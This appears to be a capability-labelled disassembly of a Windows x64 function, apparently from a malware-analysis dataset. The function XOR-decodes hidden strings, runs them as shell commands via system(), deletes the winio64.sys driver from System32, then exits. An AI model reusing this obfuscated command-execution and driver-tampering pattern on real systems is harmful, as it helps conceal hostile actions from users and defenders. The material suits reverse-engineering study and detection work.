Function at 0x14004d620
Capabilities:
Check if file exists
Delete file
Encode data using xor
Execute command
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x70]
sub rsp, 0x170
mov rax, qword [0x1400a4010]
xor rax, rsp
mov qword [rbp + 0x60], rax
lea rcx, [rsp + 0x60]
call fcn.14004daa0
lea rcx, [rsp + 0x60]
call fcn.140057790
nop
lea rdx, [rsp + 0x48]
call fcn.14004d920
lea rdx, [rax + 1]
movzx ecx, byte [rax]
xor byte [rdx], cl
xor byte [rax + 2], cl
xor byte [rax + 3], cl
xor byte [rax + 4], cl
xor byte [rax + 5], cl
xor byte [rax + 6], cl
xor byte [rax + 7], cl
xor byte [rdx + 7], cl
mov byte [rdx + 8], 0
lea rcx, [rsp + 0x70]
call fcn.140058230
mov rcx, rax
lea rdx, [0x1400a4108]
call fcn.140058400
mov r8, rax
lea rdx, [rsp + 0x40]
call fcn.14004d940
lea rdx, [rax + 1]
movzx ecx, byte [rax]
xor byte [rdx], cl
xor byte [rax + 2], cl
xor byte [rax + 3], cl
xor byte [rax + 4], cl
xor byte [rax + 5], cl
xor byte [rdx + 5], cl
mov byte [rdx + 6], 0
mov rcx, r8
call fcn.140058230
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x60]
call fcn.1400576d0
mov rcx, rax
call fcn.14004b6f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x20]
call fcn.14004b700
lea rdx, [0x140071fd1]
lea rcx, [rsp + 0x20]
call fcn.14004b800
nop
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x60]
call fcn.1400575d0
nop
lea rcx, [rsp + 0x20]
call fcn.14004b700
lea rdx, [rsp + 0x48]
call fcn.14004d960
lea rdx, [rax + 1]
movzx ecx, byte [rax]
xor byte [rdx], cl
xor byte [rax + 2], cl
xor byte [rax + 3], cl
xor byte [rax + 4], cl
xor byte [rax + 5], cl
xor byte [rax + 6], cl
xor byte [rax + 7], cl
xor byte [rax + 8], cl
xor byte [rax + 9], cl
xor byte [rdx + 9], cl
mov byte [rdx + 0xa], 0
lea rcx, [rsp + 0x70]
call fcn.140058230
mov rcx, rax
lea rdx, [0x1400a4108]
call fcn.140058400
mov r8, rax
lea rdx, [rsp + 0x40]
call fcn.14004d980
lea rdx, [rax + 1]
movzx ecx, byte [rax]
xor byte [rdx], cl
xor byte [rax + 2], cl
xor byte [rax + 3], cl
xor byte [rax + 4], cl
xor byte [rax + 5], cl
xor byte [rdx + 5], cl
mov byte [rdx + 6], 0
mov rcx, r8
call fcn.140058230
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x60]
call fcn.1400576d0
mov rcx, rax
call fcn.14004b6f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x20]
call fcn.14004b700
lea rdx, [0x140071fd2]
lea rcx, [rsp + 0x20]
call fcn.14004b800
nop
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x60]
call fcn.1400575d0
nop
lea rcx, [rsp + 0x20]
call fcn.14004b700
lea rcx, str.C:WindowsSystem32driverswinio64.sys
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x14004d848
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x14004d848
lea rdx, str.Failed_to_delete_the_file._Error_code:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140058420
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140058600]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x14004d85b
lea rdx, str.Previous_file_deleted_or_not_found._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140058420
lea rdx, [rsp + 0x20]
call fcn.14004d9a0
mov r8, rax
lea rdx, [rax + 2]
mov r9d, 7
movzx ecx, byte [r8]
xor byte [rdx - 1], cl
movzx ecx, byte [r8]
xor byte [rdx], cl
movzx ecx, byte [r8]
xor byte [rdx + 1], cl
movzx eax, byte [r8]
xor byte [rdx + 2], al
lea rdx, [rdx + 4]
sub r9, 1
jne 0x14004d872
lea rcx, [r8 + 1]
mov byte [rcx + 0x1c], r9b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rsp + 0x20]
call fcn.14004d9e0
mov r8, rax
lea rcx, [rax + 2]
mov r9d, 5
nop dword [rax]
movzx edx, byte [r8]
xor byte [rcx - 1], dl
movzx edx, byte [r8]
xor byte [rcx], dl
movzx edx, byte [r8]
xor byte [rcx + 1], dl
movzx eax, byte [r8]
xor byte [rcx + 2], al
movzx eax, byte [r8]
xor byte [rcx + 3], al
movzx eax, byte [r8]
xor byte [rcx + 4], al
lea rcx, [rcx + 6]
sub r9, 1
jne 0x14004d8c0
lea rcx, [r8 + 1]
mov byte [rcx + 0x1e], r9b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [0x1400a4d8a], 1
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3